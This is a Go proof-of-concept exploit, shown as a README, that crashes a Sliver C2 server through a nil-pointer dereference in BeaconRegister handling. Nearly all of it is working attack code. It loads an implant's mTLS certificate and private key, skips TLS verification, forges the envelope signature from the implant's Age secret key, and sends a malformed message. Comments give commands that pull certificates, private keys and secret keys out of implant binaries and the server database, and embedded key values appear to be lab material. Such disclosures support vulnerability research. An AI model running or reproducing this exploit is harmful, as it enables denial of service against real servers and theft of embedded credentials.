README.md
Rendering markdown...
/*
* Author: Skove (Anas)
* Sliver - Protobuf Deserialization "Kill-Switch" DoS PoC
* Vulnerability: Nil-Pointer Dereference in BeaconRegister (CWE-476)
* Impact: Full Process Termination (SIGSEGV) of Sliver Server
*
* This PoC demonstrates how an attacker with access to a captured implant
* can crash the entire C2 infrastructure by omitting nested Protobuf fields.
*
* Replace c2Endpoint, clientCertPEM, clientKeyPEM, and peerPrivateKey with the values from a valid implant.
*/
package main
import (
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
"encoding/binary"
"fmt"
"io"
"log"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/hashicorp/yamux"
"golang.org/x/crypto/blake2b"
"google.golang.org/protobuf/proto"
)
var (
c2Endpoint = "127.0.0.1:8888"
// The mTLS certificate and key are required to establish the TLS handshake.
// RUN: strings /path/to/implant_binary | awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/' | tail -n 12
// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT certificate_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
clientCertPEM = []byte(`-----BEGIN CERTIFICATE-----
MIIBoTCCAQKgAwIBAgIQSkd9rTWFkBvOK5tVaYigrDAKBggqhkjOPQQDBDAAMB4X
DTI1MDMxMDAzMzUzMVoXDTI3MDMxMDAzMzUzMVowFjEUMBIGA1UEAwwLRlVOTllf
VklSVVMwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATJB1ENIgoSoWWt/CiyjytR
ZuBUN/LokcLuq0BOuoUr9MxhzR4hK0ZYPQHnfY1IxGvGDn6LsyWQMv6iLhL5mze3
o0gwRjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwIwHwYDVR0j
BBgwFoAUq0iOdVkSdrFy63RqMILqL5u5w+swCgYIKoZIzj0EAwQDgYwAMIGIAkIA
+F91KxYlI3Tc11n8MuGv5wPoB1FmgfWXxhQqqK7JtnxZQLyDFw1TpXtrbsKuEyB6
TUBjIDeWozb8Anc59P9K+xsCQgC6YhpAcrBoeKdXHkP77ZgPilBcqo691GP1ybuT
DiIqahjrOlzShzjkUO/59I1sDlMY9E+yVO/fD8M95b30k26azA==
-----END CERTIFICATE-----`)
// RUN: strings /path/to/implant_binary | awk '/BEGIN EC PRIVATE KEY/,/END EC PRIVATE KEY/'
// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT private_key_pem FROM certificates WHERE ca_type = 'mtls-implant' LIMIT 1;"
clientKeyPEM = []byte(`-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIJGHtKVHvcHt91+n0avQPUWf9bNKmjKnDn8XZC5o72yRoAoGCCqGSM49
AwEHoUQDQgAEyQdRDSIKEqFlrfwoso8rUWbgVDfy6JHC7qtATrqFK/TMYc0eIStG
WD0B532NSMRrxg5+i7MlkDL+oi4S+Zs3tw==
-----END EC PRIVATE KEY-----`)
// The Implant's Age identity string (peer_private_key)
// RUN: strings /path/to/implant_binary | grep -oP "AGE-SECRET-KEY-1[A-Z0-9]+"
// FROM DATABASE: sqlite3 ~/.sliver/sliver.db "SELECT peer_private_key FROM implant_builds LIMIT 1;"
peerPrivateKey = "AGE-SECRET-KEY-1GFLJDX025KJCZCG6C7Y3X4NCPVV7MQD7KAZY2CUZ82E9QS4LVFDSDH7USV"
)
// GenerateImplantSignature replicates Sliver's `lookupImplantSigKey` deterministic Ed25519 generation.
// Over mTLS, the implant does not have a separate database Minisign private key.
// Instead, it deterministically generates it by SHA256 hashing the Age `peer_private_key`.
func GenerateImplantSignature(peerPrivateKey string, data []byte) []byte {
seed := sha256.Sum256([]byte("env-signing-v1:" + peerPrivateKey))
priv := ed25519.NewKeyFromSeed(seed[:])
pub := priv.Public().(ed25519.PublicKey)
digest := blake2b.Sum256(pub)
keyID := binary.LittleEndian.Uint64(digest[:8])
sigBuf := make([]byte, 74)
binary.LittleEndian.PutUint16(sigBuf[:2], 0x6445)
binary.LittleEndian.PutUint64(sigBuf[2:10], keyID)
copy(sigBuf[10:], ed25519.Sign(priv, data))
return sigBuf
}
const YamuxPreface = "MUX/1"
func main() {
// 2. STAGE 1: BYPASS NETWORK AUTHENTICATION (mTLS) ========================
fmt.Println("[*] Loading extracted Implant certificates...")
cert, err := tls.X509KeyPair(clientCertPEM, clientKeyPEM)
if err != nil {
log.Fatalf("[-] Failed to load client cert: %v", err)
// maybe you are using the wrong key
// RUN: strings /path/to/implant_binary | grep "BEGIN CERTIFICATE" -A10
// and take the second key, not the first
}
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{cert},
InsecureSkipVerify: true,
}
fmt.Printf("[*] Connecting to mTLS endpoint %s...\n", c2Endpoint)
conn, err := tls.Dial("tcp", c2Endpoint, tlsConfig)
if err != nil {
log.Fatalf("[-] TLS Connection failed: %v", err)
}
defer conn.Close()
// 3. STAGE 2: INITIATE YAMUX MULTIPLEXING ===============================
fmt.Println("[*] TLS Established. Sending Yamux preface...")
conn.Write([]byte(YamuxPreface))
session, err := yamux.Client(conn, nil)
if err != nil {
log.Fatalf("[-] Failed to stat Yamux session: %v", err)
}
defer session.Close()
stream, err := session.Open()
if err != nil {
log.Fatalf("[-] Failed to open Yamux stream: %v", err)
}
defer stream.Close()
// 4. STAGE 3: CONSTRUCT THE MALICIOUS CRASH PAYLOAD ========================
fmt.Println("[*] Constructing malicious BeaconRegister payload...")
// ROOT CAUSE: sliver/server/handlers/beacons.go:70 beacon.Name = beaconReg.Register.Name
// The server attempts to access 'beaconReg.Register.Name' without verifying if 'Register' is nil.
maliciousBeaconReg := &sliverpb.BeaconRegister{
ID: "11111111-2222-3333-4444-555555555555",
Interval: 60,
// Register: nil, <--- This is the trigger
}
maliciousData, err := proto.Marshal(maliciousBeaconReg)
if err != nil {
log.Fatalf("[-] Marshal failed: %v", err)
}
env := &sliverpb.Envelope{
ID: 0,
Type: uint32(sliverpb.MsgBeaconRegister),
Data: maliciousData,
}
envBytes, err := proto.Marshal(env)
if err != nil {
log.Fatalf("[-] Envelope Marshal failed: %v", err)
}
// 5. STAGE 4: BYPASS ENVELOPE SIGNING ======================================
fmt.Println("[*] Signing payload deterministically with Age Private Key...")
rawSig := GenerateImplantSignature(peerPrivateKey, envBytes)
if _, err := stream.Write(rawSig); err != nil {
log.Fatalf("[-] Failed to send signature: %v", err)
}
// 6. STAGE 5: DELIVER AND CRASH =========================================
fmt.Println("[*] Delivering length prefix and malicious payload (Unrecovered Goroutine DoS)...")
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(envBytes)))
stream.Write(dataLengthBuf.Bytes())
stream.Write(envBytes)
fmt.Println("[+] Exploit sent! Because mTLS spawns raw goroutines via Yamux without a recover() block...")
fmt.Println("[+] The Sliver C2 Server binary has completely crashed! Check `systemctl status sliver`.")
io.ReadAll(stream)
}